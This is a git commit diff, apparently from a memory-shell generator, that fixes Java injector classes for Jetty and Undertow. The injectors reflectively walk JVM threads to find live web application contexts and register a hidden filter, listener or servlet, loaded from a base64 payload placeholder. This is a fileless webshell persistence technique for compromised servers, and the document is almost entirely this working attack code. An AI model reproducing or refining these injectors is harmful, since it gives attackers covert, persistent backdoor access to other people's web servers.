fix: SpringBoot Undertow and Jetty Shell inject failed

This commit is contained in:
ReaJason
2025-04-23 00:10:48 +08:00
parent d8079e5d0f
commit aee8dbe8e0
31 changed files with 633 additions and 52 deletions
@@ -106,29 +106,26 @@ public class JettyFilterInjector {
}
}
private List<Object> getContext() {
private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context");
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
@@ -43,29 +43,26 @@ public class JettyListenerInjector {
return "{{base64Str}}";
}
private List<Object> getContext() {
private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context");
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
@@ -51,29 +51,26 @@ public class JettyServletInjector {
}
}
private List<Object> getContext() {
private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
try {
// jetty 6
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) {
Object context = getFieldValue(contextClassLoader, "_context");
Object handler = getFieldValue(context, "_servletHandler");
contexts.add(getFieldValue(handler, "_contextHandler"));
contexts.add(getFieldValue(contextClassLoader, "_context"));
} else {
Object threadLocals = getFieldValue(thread, "threadLocals");
Object table = getFieldValue(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
// jetty 7+
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFieldValue(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
contexts.add(getFieldValue(servletContext, "this$0"));
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("WebAppContext")) {
contexts.add(getFieldValue(threadLocalValue, "this$0"));
}
}
}
}
@@ -5,7 +5,6 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
@@ -47,12 +46,13 @@ public class UndertowFilterInjector {
return "{{base64Str}}";
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
public List<Object> getContext() {
List<Object> contexts = new ArrayList<Object>();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
for (Thread thread : threads) {
try {
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
Object requestContext = invokeMethod(clazz, "current", null, null);
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext", null, null);
if (servletContext != null) {
contexts.add(servletContext);
@@ -84,7 +84,7 @@ public class UndertowFilterInjector {
if (isInjected(context)) {
return;
}
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
Class<?> filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo", true, context.getClass().getClassLoader());
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), filter.getClass());
invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
@@ -85,7 +85,7 @@ public class UndertowServletInjector {
return;
}
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo");
Class<?> servletInfoClass = Class.forName("io.undertow.servlet.api.ServletInfo", true, context.getClass().getClassLoader());
Object deploymentInfo = getFieldValue(context, "deploymentInfo");
Object servletInfo = servletInfoClass.getConstructor(String.class, Class.class).newInstance(getClassName(), servlet.getClass());
invokeMethod(servletInfo, "addMapping", new Class[]{String.class}, new Object[]{getUrlPattern()});